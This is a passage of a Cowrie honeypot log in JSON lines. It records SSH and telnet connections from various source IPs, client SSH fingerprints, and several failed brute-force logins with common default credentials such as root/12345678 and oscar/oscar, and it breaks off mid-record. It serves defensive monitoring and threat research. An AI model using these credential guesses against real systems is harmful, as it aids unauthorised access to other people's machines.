{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":56038,"dst_ip":"10.17.0.5","dst_port":23,"session":"8688a761a0c9","protocol":"telnet","message":"New connection: 94.23.66.112:56038 (10.17.0.5:23) [session: 8688a761a0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:53.723225Z"}
{"eventid":"cowrie.session.closed","duration":0.004655122756958008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:53.727728Z","src_ip":"94.23.66.112","session":"8688a761a0c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:53.861978Z","src_ip":"165.154.137.186","session":"6f6533d58e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:54.757457Z","src_ip":"170.80.65.140","session":"903ff572f482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55508,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6b7533be190","protocol":"ssh","message":"New connection: 165.154.137.186:55508 (10.17.0.5:22) [session: e6b7533be190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:59.647104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:59.652964Z","src_ip":"165.154.137.186","session":"e6b7533be190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:59.967943Z","src_ip":"165.154.137.186","session":"e6b7533be190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:01.199174Z","src_ip":"165.154.137.186","session":"e6b7533be190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:02.528695Z","src_ip":"165.154.137.186","session":"e6b7533be190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58092,"dst_ip":"10.17.0.5","dst_port":23,"session":"eccb0dbed2d5","protocol":"telnet","message":"New connection: 94.23.66.112:58092 (10.17.0.5:23) [session: eccb0dbed2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:02.829009Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36994,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d9a2a86e068","protocol":"ssh","message":"New connection: 194.113.233.25:36994 (10.17.0.5:22) [session: 8d9a2a86e068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:08.402951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:08.408829Z","src_ip":"194.113.233.25","session":"8d9a2a86e068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:08.493150Z","src_ip":"194.113.233.25","session":"8d9a2a86e068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250680","message":"login attempt [root/250680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:08.746128Z","src_ip":"194.113.233.25","session":"8d9a2a86e068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:09.831875Z","src_ip":"194.113.233.25","session":"8d9a2a86e068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55512,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c42221b018d","protocol":"ssh","message":"New connection: 165.154.137.186:55512 (10.17.0.5:22) [session: 9c42221b018d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:10.649116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:10.654790Z","src_ip":"165.154.137.186","session":"9c42221b018d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:10.906231Z","src_ip":"165.154.137.186","session":"9c42221b018d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:11.663912Z","src_ip":"165.154.137.186","session":"9c42221b018d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:12.939604Z","src_ip":"165.154.137.186","session":"9c42221b018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":51724,"dst_ip":"159.203.135.109","dst_port":22,"session":"28841e2f40d0","protocol":"ssh","message":"New connection: 85.198.19.241:51724 (159.203.135.109:22) [session: 28841e2f40d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:13.313484Z"}
{"eventid":"cowrie.session.closed","duration":13.941271305084229,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:16.770167Z","src_ip":"94.23.66.112","session":"eccb0dbed2d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.88512587547302,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:17.833424Z","src_ip":"107.6.151.170","session":"bac4ec104eae","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:21.418766Z","src_ip":"85.198.19.241","session":"28841e2f40d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:21.422759Z","src_ip":"85.198.19.241","session":"28841e2f40d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:21.432734Z","src_ip":"85.198.19.241","session":"28841e2f40d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":46289,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb523a6a35a6","protocol":"ssh","message":"New connection: 178.20.210.208:46289 (159.203.135.109:22) [session: eb523a6a35a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.013539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.070212Z","src_ip":"178.20.210.208","session":"eb523a6a35a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.122631Z","src_ip":"178.20.210.208","session":"eb523a6a35a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37940,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfc37658b798","protocol":"ssh","message":"New connection: 165.154.137.186:37940 (10.17.0.5:22) [session: dfc37658b798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.363675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.368986Z","src_ip":"165.154.137.186","session":"dfc37658b798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"client","message":"login attempt [default/client] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.528965Z","src_ip":"178.20.210.208","session":"eb523a6a35a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:23.628944Z","src_ip":"165.154.137.186","session":"dfc37658b798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:24.428716Z","src_ip":"165.154.137.186","session":"dfc37658b798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:24.634544Z","src_ip":"178.20.210.208","session":"eb523a6a35a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:25.690159Z","src_ip":"165.154.137.186","session":"dfc37658b798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.936607360839844,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:29.151660Z","src_ip":"128.199.8.54","session":"95b36ad23915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36064,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5974f1cba8","protocol":"ssh","message":"New connection: 165.154.137.186:36064 (10.17.0.5:22) [session: 7f5974f1cba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:31.097552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:31.102351Z","src_ip":"165.154.137.186","session":"7f5974f1cba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:31.366694Z","src_ip":"165.154.137.186","session":"7f5974f1cba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:32.173286Z","src_ip":"165.154.137.186","session":"7f5974f1cba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:33.438661Z","src_ip":"165.154.137.186","session":"7f5974f1cba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.78814315795898,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:38.237231Z","src_ip":"94.23.66.112","session":"8baca21ddbaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":48818,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a1dbbc7f2e","protocol":"ssh","message":"New connection: 38.148.249.2:48818 (10.17.0.5:22) [session: 80a1dbbc7f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:41.461038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:41.466302Z","src_ip":"38.148.249.2","session":"80a1dbbc7f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes